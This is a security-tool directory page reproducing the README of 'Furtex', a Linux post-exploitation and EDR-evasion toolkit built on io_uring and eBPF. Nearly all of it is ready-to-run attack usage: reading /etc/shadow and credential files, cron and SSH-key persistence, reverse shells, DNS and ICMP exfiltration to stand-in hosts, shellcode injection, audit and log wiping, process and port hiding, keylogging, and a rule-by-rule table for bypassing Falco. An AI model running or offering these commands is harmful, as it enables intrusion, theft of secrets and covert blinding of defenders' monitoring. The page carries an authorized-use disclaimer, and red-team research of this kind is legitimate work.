Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
Furtex — 适用于 Linux 的后渗透与规避研究工具包。 | Kitploit
工具/GitHubGitHub/matheuzsecurity/furtex
权限提升漏洞利用后渗透利用恶意软件分析渗透测试命令与控制二进制分析红队Payload 开发
GitHubmatheuzsecurity/furtex

Furtex

适用于 Linux 的后渗透与规避研究工具包。

查看仓库
2613021个月前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

Furtex

面向 Linux 的后渗透与规避研究工具包,基于 io_uring 和 eBPF 构建。不使用 liburing,不依赖框架,全程使用原始系统调用。

更多工具即将推出。欢迎提交 PR。🇧🇷

加入 Rootkit 研究人员社区

  • https://discord.gg/66N5ZQppU7

仅供授权的安全研究与红队演练使用。请勿在你不拥有的系统上运行。

``` Furtex/ ├── io_uring/ raw io_uring ops: file, net, injection, exfil (13 tools) ├── bpf/ BPF map and program tooling (15 tools) ├── ebpf/ BPF-side programs and loaders (9 programs + 2 runners) ├── edrs/ EDR evasion and post-exploitation (75 tools) └── techniques/ Falco-specific bypass, all 25 default rules (13 tools)

root@kitploit:~
## 要求

**工具链**

| 工具 | 用途 |
|---|---|
| `gcc` | 所有用户空间二进制程序 |
| `clang` | `ebpf/*.bpf.c` 的 BPF 端程序 |
| `make` | 构建系统 |

**头文件与库**

| 软件包 | 用途 |
|---|---|
| `linux-headers-$(uname -r)` | `<linux/bpf.h>`、`<linux/io_uring.h>` 及相关内核头文件 |
| `libbpf-dev` | `ebpf/` 程序中所使用的 `<bpf/bpf_helpers.h>` 等相关头文件 |
| `bpftool` | 在 `ebpf/` 目录下通过 `make vmlinux` 生成 `vmlinux.h` |

在 Debian/Kali/Ubuntu 上:```sh
sudo apt install gcc clang make linux-headers-$(uname -r) libbpf-dev bpftool

内核版本

最低内核版本解锁的功能
5.4io_uring 基础(IORING_FEAT_SINGLE_MMAP、BPF map 迭代)
5.6IORING_OP_OPENAT, IORING_OP_STATX, pidfd_getfd (pidfd_steal)
5.8CAP_BPF + CAP_PERFMON 拆分(取代用于 BPF 的 CAP_SYS_ADMIN)
5.9BPF_LINK_DETACH (bpf_link_detach)
5.19IORING_OP_SOCKET (af_packet_send, dns_exfil, xdp_socket_send, bpf_kprobe_bypass)

能力

内核中必须启用 BTF(CONFIG_DEBUG_INFO_BTF=y)才能为 ebpf/ 程序运行 make vmlinux。

在带有较旧 libc-dev 头文件的发行版(Ubuntu 22.04 等)上,你可能需要 #ifndef IORING_OP_SOCKET / #define IORING_OP_SOCKET 45。本仓库已处理。

构建

edrs/ 有自己的子 Makefile,包含约 75 个按权限拆分的二进制文件:``` cd edrs && make priv # root / CAP_* required cd edrs && make unpriv # no privileges needed

root@kitploit:~
完整说明见 [PRIVILEGES.md](https://github.com/matheuzsecurity/furtex/blob/main/PRIVILEGES.md)。

## io_uring 绕过覆盖

io_uring 的 SQE 会经过内核工作队列。`io_uring_enter(2)` 从不通过 `sys_call_table` 调用,从不触发 `sys_enter_*` tracepoint,也从不命中 `native_sys_call` 上的 livepatch。仅这一点,就能在不接触任何东西的情况下干掉一大类 EDR 钩子。

io_uring 本身能绕过的:

| Hook 点 | 说明 |
|---|---|
| `sys_call_table` 指针替换 | io_uring 从不经过系统调用表 |
| `native_sys_call` / `compat_sys_call` 上的 livepatch | 原因同上 |
| `sys_enter_*` tracepoint | workqueue 路径,不会触发任何 tracepoint |

io_uring 本身无法绕过的(需要主动工具):

| Hook 点 | 工具 | 工具的作用 |
|---|---|---|
| `vfs_read`、`security_file_open` 等上的 kprobes | `ftrace_enum` | 移除 kprobe 钩子 |
| BPF LSM / KRSI | `bpf_link_detach` | 分离 BPF 链接 |
| Linux audit | `audit_kill` | 通过 NETLINK_AUDIT 禁用 auditd |
| LD_PRELOAD / PLT-GOT 补丁 | `plt_unhook` | 移除用户态钩子 |
| netfilter OUTPUT / conntrack | `af_packet_shell` | 在二层使用 AF_PACKET,跳过 netfilter |
| `inet_stream_connect` 钩子 | `udp_shell` | 使用 UDP,绝不调用 tcp connect 路径 |

## io_uring/

`iouring_utils.h` 负责处理 ring 的设置,无需 liburing。

| 程序 | 功能 |
|---|---|
| `file_read` | 通过 io_uring 执行 OPENAT+READ+CLOSE 链,不产生 sys_enter_read 事件 |
| `file_write` | OPENAT+WRITE+CLOSE 链 |
| `file_append` | 与 file_write 相同,但使用 O_APPEND,偏移量为 -1 |
| `net_connect` | 在同一个 ring 中完成 SOCKET+CONNECT+SEND+RECV |
| `net_reverse_shell` | 通过 io_uring CONNECT 实现反向 shell |
| `multifile_read` | 一个 SQE 批次中最多读取 64 个文件 |
| `memfd_exec` | 通过 stdin 将 ELF 流式写入 memfd,再经由 /proc/self/fd 执行 execve |
| `proc_inject` | 通过 /proc/PID/mem 进行 JIT 注入;ptrace 注入(--ptrace 标志) |
| `pipe_splice` | SPLICE 内核到内核传输,用户态钩子永远看不到字节 |
| `inotify_bypass_watch` | io_uring READ 不会触发 IN_ACCESS/IN_OPEN |
| `dns_exfil` | 通过 io_uring SENDMSG 将数据以十六进制编码为 DNS 查询标签 |
| `af_packet_send` | 通过 AF_PACKET 发送原始以太网帧(IORING_OP_SOCKET,绕过 inet 路径) |
| `xdp_socket_send` | 通过 AF_XDP + UMEM ring 发送原始帧,完全绕过 netfilter |```bash
./io_uring/file_read /etc/shadow
./io_uring/file_write /etc/cron.d/x "* * * * * root /tmp/sh"
./io_uring/file_append /root/.ssh/authorized_keys "ssh-ed25519 AAAA..."
./io_uring/net_connect 10.0.0.1 4444 "ping"
./io_uring/net_reverse_shell 192.168.1.1 4444
./io_uring/multifile_read /etc/passwd /etc/shadow /root/.ssh/id_rsa ~/.aws/credentials
cat payload | ./io_uring/memfd_exec [args...]
./io_uring/pipe_splice /etc/shadow /tmp/out
./io_uring/inotify_bypass_watch /var/log/auth.log
./io_uring/dns_exfil 1.2.3.4 exfil.example.com /etc/shadow

sudo ./io_uring/proc_inject
sudo ./io_uring/proc_inject <pid>
sudo ./io_uring/proc_inject          <pid> <shellcode_hex>
sudo ./io_uring/proc_inject --ptrace <pid> <shellcode_hex>

sudo ./io_uring/af_packet_send eth0 08:00:27:aa:bb:cc ff:ff:ff:ff:ff:ff "payload"
sudo ./io_uring/xdp_socket_send eth0 <hex-frame>

bpf/

大多数工具需要 CAP_BPF。env_exfil 可在无特权下运行。icmp_trigger 需要 CAP_NET_RAW 而不是 CAP_BPF。

sudo ./bpf/map_poison <isys_id> <eta_id> -- ./io_uring/file_read /etc/shadow sudo ./bpf/map_poison <isys_id> <eta_id> -- ./io_uring/net_reverse_shell 10.0.0.1 4444

root@kitploit:~
## ebpf/

需要 clang + libbpf + vmlinux.h。在 `ebpf/` 目录内运行 `make vmlinux`,从正在运行的内核 BTF 生成。

| 文件 | 功能 |
|---|---|
| `exec.bpf.c` | 针对 sys_enter_execve 的 tracepoint |
| `fentry_open.bpf.c` | 针对 sys_enter_openat 的 tracepoint |
| `creds.bpf.c` | 跟踪对凭据路径的 openat+read 操作 |
| `keylog.bpf.c` | 输入事件 tracepoint,原始键码捕获 |
| `net.bpf.c` | sys_enter_connect 日志记录 |
| `net_hide.bpf.c` | 从 /proc/net/tcp 和 /proc/net/udp 隐藏端口 |
| `proc_hide.bpf.c` | 从 getdents64 输出中隐藏 PID |
| `tty_sniff.bpf.c` | 捕获 stdin/stdout/stderr 的写入与读取 |
| `skf_c2_runner.c` | 通过经典 BPF socket filter 建立 ICMP C2 |
| `xdp_backdoor.bpf.c` + `xdp_handler.c` | 在魔术 UDP 数据包上触发 XDP |```bash
sudo ./bpf/map_write <hidden_ports_id> 5c11 01
sudo ./bpf/map_write <hidden_pids_id> d2040000 01

sudo ./ebpf/skf_c2_runner
ping -p 4d41474900$(printf 'id' | xxd -p | tr -d '\n') -c1 <target>

sudo ./ebpf/xdp_handler <trigger_map_id> <handler_pid_map_id>
echo -n 'MAGICid' | nc -u -q1 <target> 31337

edrs/

sudo ./edrs/bpf_prog_recon --all sudo ./edrs/ftrace_enum list sudo ./edrs/module_recon list sudo ./edrs/perf_bpf_kill scan sudo ./edrs/sysctl_blind show sudo ./edrs/tetragon_blind scan

sudo ./edrs/audit_kill disable sudo ./edrs/dmesg_wipe wipe sudo ./edrs/bpf_detach_all sudo ./edrs/ftrace_enum clear-kprobes sudo ./edrs/netfilter_flush sudo ./edrs/lkm_unload unload

./edrs/livepatch_bypass --read /etc/shadow ./edrs/uring_stealth cat /etc/shadow ./edrs/mmap_read /etc/shadow ./edrs/splice_read /etc/shadow ./edrs/plt_unhook read /etc/shadow ./edrs/openat2_bypass copy /etc/shadow /tmp/out

cat payload | ./edrs/memfd_userexec [args...] cat payload | ./edrs/fanotify_bypass --memfd-exec ./edrs/anon_shellcode <shellcode_hex> ./edrs/fexecve_drop - < payload

sudo ./edrs/proc_mem_inject --inject <shellcode_hex> ./edrs/proc_vm_inject <shellcode_hex> ./edrs/ptrace_inject_so inject /tmp/payload.so

./edrs/userland_persist --lhost 10.0.0.1 --lport 4444 ./edrs/userland_persist --sshkey "ssh-ed25519 AAAA..." sudo ./edrs/livepatch_bypass --persist 192.168.1.1 4444

./edrs/shared_mem_c2 --agent & ./edrs/shared_mem_c2 --ctrl --cmd "id" ./edrs/abstract_sock_c2 server & ./edrs/abstract_sock_c2 client ./edrs/udp_shell 192.168.1.1 4444 ./edrs/tls_shell 192.168.1.1 443

./edrs/dns_exfil_raw str exfil.example.com "data" ./edrs/pipe_exfil --send /etc/shadow 192.168.1.1 9999 cat data | sudo ./edrs/icmp_tunnel 192.168.1.1 - SSH_AUTH_SOCK=/run/user/1000/ssh-agent.sock ./edrs/ssh_agent_hijack

./edrs/self_delete delete ./edrs/time_stomp clone /etc/passwd /tmp/target sudo ./edrs/log_wipe hist /home/kali

./edrs/event_flood 500 4 -- ./edrs/proc_mem_inject --inject ./edrs/ringbuf_flood --flood --threads 8 --sec 5

./edrs/ns_exec user bash ./edrs/ns_exec full-hide bash ./edrs/clone_netns exec /bin/sh

./edrs/pidfd_steal scan ./edrs/pidfd_steal steal ./edrs/fd_steal_read <path_filter> ./edrs/fd_steal_read <path_filter>

root@kitploit:~
## techniques/ (Falco 绕过)

针对 Falco 的默认规则集(`modern_ebpf` 驱动程序,25 条规则)。先运行 `edrs/edr_recon`。

绕过轴 A:阻止事件到达 Falco(io_uring 跳过 `sys_enter_*`,ringbuf 排空会静默丢弃事件)。
绕过轴 B:事件到达 Falco 但规则条件不匹配(proc.name 欺骗、路径切换、替代标志)。

| 工具 | 轴 | Falco 规则 |
|---|:---:|---|
| `uring_ops` | A | 1 2 3 7 9 10 12 13 14 15 18 21 |
| `ringbuf_overflow` | A | 全部 |
| `rule_evade` | B | 3 5 6 17 |
| `kmod_unload` | A | 全部 |
| `proc_ghost` | A/B | 22 23 25 |
| `exe_from_memfd_bypass` | B | 25 |
| `event_storm` | A | 全部 |
| `proc_masquerade` | B | 3 4 5 8 17 |
| `ns_pivot` | B | 6 14 |
| `cgroup_escape` | A | 18 |
| `bypass_file_rules` | B | 1 2 3 9 10 11 12 13 21 |
| `bypass_proc_rules` | B | 4 6 8 15 17 18 19 20 22 23 24 |
| `per_rule_bypass` | A/B | 全部 25 |```bash
./techniques/uring_ops cat   /etc/shadow
./techniques/uring_ops creds
./techniques/uring_ops write /etc/cron.d/x "* * * * * root /tmp/sh"
./techniques/uring_ops shell 10.0.0.1 4444
./techniques/uring_ops chain /etc/shadow 10.0.0.1 9999

sudo ./techniques/ringbuf_overflow find
sudo ./techniques/ringbuf_overflow drain  <map_id>
./techniques/ringbuf_overflow  flood  16 10

./techniques/rule_evade name-spoof
./techniques/rule_evade path-pivot
./techniques/rule_evade all

sudo ./techniques/kmod_unload list
sudo ./techniques/kmod_unload unload

./techniques/proc_ghost ghost-elf /bin/ls
./techniques/proc_ghost ghost-sc  <hex>

./techniques/exe_from_memfd_bypass info
./techniques/exe_from_memfd_bypass sc   <hex>
./techniques/exe_from_memfd_bypass shm-exec <elf>
./techniques/exe_from_memfd_bypass dlopen  <so>

./techniques/event_storm mixed-storm 16 10
./techniques/event_storm snipe "cat /etc/shadow"

./techniques/proc_masquerade setname    sshd <cmd...>
./techniques/proc_masquerade fakeparent sshd <cmd...>
./techniques/proc_masquerade clone-parent sshd <cmd...>

./techniques/ns_pivot net-new
./techniques/ns_pivot userns-shell

./techniques/cgroup_escape check
./techniques/cgroup_escape proof
./techniques/cgroup_escape shell 10.0.0.1 4444

./techniques/bypass_file_rules read-masked /etc/shadow
./techniques/bypass_file_rules log-clear /var/log/auth.log
./techniques/bypass_file_rules grep-bypass /home "PRIVATE"

./techniques/bypass_proc_rules reverse-shell 10.0.0.1 4444
./techniques/bypass_proc_rules anti-debug
./techniques/bypass_proc_rules proc-inject <pid> <addr> <hex>

./techniques/per_rule_bypass list
./techniques/per_rule_bypass sensitive-read /etc/shadow
./techniques/per_rule_bypass exec-proc /tmp/elf
./techniques/per_rule_bypass clear-log /var/log/auth.log

贡献

欢迎提交 PR。工具应保持单一用途,使用原始系统调用,不引入新的依赖。

法律声明

本项目严格用于安全研究、经授权的渗透测试、CTF 竞赛以及防御性工具开发。此处展示的所有技术均已在公开的安全研究和内核文档中记载。

请勿将本工具包用于你并不拥有、或未经明确书面授权进行测试的系统。 未经授权的使用可能违反《计算机欺诈与滥用法》(CFAA)、欧盟《攻击信息系统指令》以及你所在司法辖区的同等法律。

作者不对滥用行为承担任何责任。使用本软件即表示你同意自行负责遵守适用的法律。

下载工具
能力需要它的工具
CAP_BPF(或 5.8 之前的 CAP_SYS_ADMIN)所有 bpf/ 工具、ebpf/ 加载器
CAP_PERFMONebpf/ tracepoint 和 kprobe 程序
CAP_NET_RAWicmp_tunnel, af_packet_shell, skf_c2_runner, icmp_trigger
CAP_NET_ADMINxdp_socket_send, netfilter_flush
CAP_AUDIT_CONTROLaudit_kill
命令构建内容
make all所有内容
make uring仅 io_uring/
make bpfbpf/ 用户空间工具
make ebpfBPF 端程序(需要 clang + libbpf)
make edrs所有 edrs/ 二进制文件
make techniquesFalco 绕过工具
make clean删除所有二进制文件
二进制文件功能
map_recon列出所有已加载的 BPF 映射
map_dumper按 ID 导出映射内容
map_write按 ID 更新映射条目
map_poison在载荷周围将 Falco 的 interesting_sys 条目清零
prog_recon列出 BPF 程序:类型、名称、映射数量
pid_allowlist将 PID 插入 EDR 白名单映射
edr_fin根据已知 EDR 启发式规则对已加载的 BPF 映射/程序进行评分
lsm_check检测活动的 BPF LSM 钩子,并测试映射写入是否被阻止
bpf_persist在 bpffs 上固定/获取/解除固定映射和程序
map_snapshot将映射内容保存到二进制文件并恢复
env_exfil读取 /proc/*/environ 以获取机密信息
bpf_link_detach枚举并分离 BPF 链接(移除 LSM 钩子)
link_update将 BPF 链接重定向到无操作程序(钩子保持可见,但不触发任何操作)
map_freeze通过 BPF_MAP_FREEZE 将 BPF 映射冻结为只读(写入返回 -EPERM)
icmp_triggerICMP 魔术包后门;通过 socketpair 中继生成反向 shell;伪装成 kworker/u4:2
sudo ./bpf/map_recon
sudo ./bpf/map_dumper 42 --ascii
sudo ./bpf/map_write <map_id> <key_hex> <val_hex>
sudo ./bpf/prog_recon --maps --lsm-only
sudo ./bpf/edr_fin
sudo ./bpf/lsm_check <map_id>
sudo ./bpf/pid_allowlist <map_id> [pid]
sudo ./bpf/bpf_persist pin-map 42 /sys/fs/bpf/my_map
sudo ./bpf/bpf_persist list /sys/fs/bpf
sudo ./bpf/map_snapshot save <prog_id> snap.bin
sudo ./bpf/map_snapshot restore snap.bin
./bpf/env_exfil --filter AWS
sudo ./bpf/bpf_link_detach list --lsm-only
sudo ./bpf/bpf_link_detach detach-lsm --dry-run
sudo ./bpf/link_update <link_id>
sudo ./bpf/map_freeze <map_id>
sudo ./bpf/map_freeze --prog <name_substr>
sudo ./bpf/icmp_trigger --daemon
sudo ./bpf/icmp_trigger --send <c2_ip> <c2_port>
binaryroottechnique
edr_recon是12 厂商 EDR 检测器:进程、痕迹、模块、BPF、kprobes
bpf_prog_recon是枚举已加载的 BPF 程序、map 和 kprobes
bpf_map_wipe是清空 BPF map 条目
bpf_detach_all是分离所有 BPF 链接
tetragon_blind是扫描、冻结、解冻、终止或致盲 Tetragon/Falco 进程
ftrace_enum是枚举并清除 kprobe/ftrace 钩子
lkm_unload是卸载内核模块
lkm_inline_detect是检测内联内核钩子
perf_bpf_kill是枚举并终止 Falco perf-event BPF 程序
module_recon是枚举内核模块
cgroup_freeze是通过 cgroup v2 冻结/解冻进程
oom_cage是为自身或目标设置 oom_score_adj
sysctl_blind是读/写与安全相关的 sysctl
audit_kill是通过 NETLINK_AUDIT 禁用/限制 Linux audit
inotify_exhaust是耗尽所有 inotify watch
netfilter_flush是清空 netfilter 链
dmesg_wipe是清除内核环形缓冲区
ld_so_preload是操纵 /etc/ld.so.preload
proc_hide是通过 bind-mount 隐藏 /proc/PID
mount_over是在任意路径上执行 bind-mount
log_wipe是截断日志文件和 shell 历史
elf_infect是PT_NOTE 到 PT_LOAD 的寄生注入
proc_mem_inject是向 /proc/PID/mem 执行 pwrite,无需 ptrace 附加
af_packet_shell是绕过 netfilter OUTPUT 的原始以太网 C2
icmp_tunnel是通过 ICMP echo-request 载荷进行数据外传
event_flood是在载荷周围进行事件洪泛,使监控器饱和
livepatch_bypass是通过 io_uring 绕过系统调用分发器上的 livepatch 钩子
livepatch_stack_blind是禁用 livepatch + BPF kprobe + netfilter 钩子栈;通过伪造 comm 卸载模块
lsm_authlink_blind是禁用 LSM 认证链接流程,冻结或终止认证代理,通过 inode 交换写入
lsm_callback_bypass是通过 pidfd_getfd、process_vm_writev、perf+BPF 附加、新 netns 绕过 LSM 回调
bpf_fim_blind是冻结 BPF FIM 传感器,清空 ring-buffer map 条目,洪泛 ringbuf
syscall_dispatch_bypass是io_uring 文件/网络操作,绕过系统调用分发上的 kprobes 和 livepatch do_syscall_64
bpf_kprobe_bypass是io_uring 文件/网络/exec 操作,绕过 _x64_sys* kprobe 目标
ptrace_inject_so是通过 ptrace + dlopen 将 .so 加载到运行中进程
uring_stealth否通过 io_uring 进行文件/网络操作,不产生 sys_enter_* 事件
openat2_bypass否替代系统调用(openat2、copy_file_range)
ptrace_selfguard否通过守护进程阻止外部 ptrace
plt_unhook否通过 dlmopen 检测并绕过 PLT-GOT 钩子
fexecve_drop否将 ELF 载入 memfd,通过 /proc/self/fd 执行 execve
memfd_loader否通过 memfd 加载 .so,调用构造函数
memfd_userexec否从 stdin 读取 ELF 到 memfd,通过 /proc/self/fd 执行 execve
hollow_proc否进程镂空,ps 中显示诱饵名称
argv_spoof否通过 prctl(PR_SET_NAME) 重命名 comm,并覆盖 argv[0]
clone_netns否非特权网络命名空间执行
ns_exec否unshare 用户/pid/挂载命名空间
splice_c2否使用 splice(2) 进行数据传输的 TCP C2;send/recv 钩子永远不会触发
abstract_sock_c2否通过抽象 Unix 套接字的 C2
udp_shell否UDP 反向 shell,绕过 inet_stream_connect
tls_shell否使用伪造 TLS ClientHello 的反向 shell
dns_exfil_raw否将数据以十六进制编码为 DNS 查询标签
pidfd_steal否通过 pidfd_getfd 窃取其他进程已打开的文件描述符
vma_hide否RWX 到 PROT_NONE 循环、MADV_DONTDUMP、VMA 重命名
coredump_block否通过 filter/dumpable/rlimit 阻止核心转储
seccomp_notify否通过 SECCOMP_USER_NOTIF 拦截系统调用
ipc_covert否通过 POSIX 消息队列的 C2
shared_mem_c2否通过 POSIX 共享内存的 C2,无网络流量
pipe_exfil否splice(2) 数据外传,LD_PRELOAD 钩子失效
proc_fd_scan否扫描 /proc/PID/fd 符号链接以查找敏感路径
proc_vm_inject否process_vm_writev,不打开 /proc/PID/fd
self_delete否运行时从磁盘删除自身二进制文件
time_stomp否克隆/清零/设置 atime+mtime
userland_persist否bashrc/crontab/autostart/authorized_keys
env_scrape否读取 /proc/*/environ 以获取机密和 SSH 套接字
anon_shellcode否shellcode 位于 MAP_ANONYMOUS 中,无文件、无 execve
ld_preload_inject否投放 .so,通过 LD_PRELOAD 注入
ssh_agent_hijack否使用 agent 协议与捕获的套接字通信
fanotify_bypass否使用 memfd/anon-mmap/devshm 规避 fanotify 标记
ringbuf_flood否使 BPF ringbuf 饱和以丢弃事件
log_evasion否io_uring 文件操作和原始系统调用 TCP shell,无 libc 封装
syscalltable_bypass否通过 io_uring 绕过 sys_call_table 指针钩子
uring_recon_unpriv否通过 io_uring read 获取凭据、密钥、连接
fd_steal_read否通过 pidfd_getfd 窃取 fd,无需自身 open() 即可读取
mmap_read否通过 mmap 读取文件,无 read() 系统调用
scm_rights_exfil否通过 SCM_RIGHTS 传递 fd,无需自身 open() 即可读取
splice_read否通过 splice(2) 读取,无用户空间缓冲区
sudo ./edrs/edr_recon
sudo ./edrs/edr_recon procs arts mods
sudo ./edrs/edr_recon progs maps
规则绕过方式工具
1 目录遍历读取受监控文件io_uring OPENATuring_ops cat, per_rule_bypass dir-traversal
3 读取不受信任的敏感文件io_uring 或 prctluring_ops creds, bypass_file_rules read-masked
4 运行不受信任的 shell使用 python3/perl 代替 shrule_evade unusual-shell
6 容器中的终端 shellsetsid, proc.tty=0bypass_proc_rules shell-notty
7 连接 K8S API Serverio_uring CONNECTuring_ops shell, per_rule_bypass k8s-connect
8 Netcat 远程代码执行C 二进制程序,proc.name != nc/ncatbypass_proc_rules reverse-shell
9 搜索私钥在 C 中 open+read,不使用 grep/findbypass_file_rules grep-bypass
10 清除日志活动使用 ftruncate 而不使用 O_TRUNCbypass_file_rules log-clear
11 批量删除数据使用 write 循环,不使用 shred/mkfsbypass_file_rules wipe
15 将 STDOUT/STDIN 重定向到网络使用 fcntl F_DUPFD 代替 dup2bypass_proc_rules reverse-shell
18 检测 release_agent 逃逸通过 io_uring OPENAT+WRITE 写入 release_agentcgroup_escape proof/shell, uring_ops write
19 PTRACE 附加到进程/proc/PID/mem 或 process_vm_writevbypass_proc_rules proc-inject
20 PTRACE 反调试尝试通过 /proc/self/status 检查 TracerPidbypass_proc_rules anti-debug
22 从 /dev/shm 执行改为从 /run/user/uid/ 执行bypass_proc_rules run-safe
25 通过 memfd_create 无文件执行通过 mmap 执行 shellcode,不使用 execveexe_from_memfd_bypass sc, proc_ghost ghost-sc
全部清空 ringbuf 或移除 scap.koringbuf_overflow, kmod_unload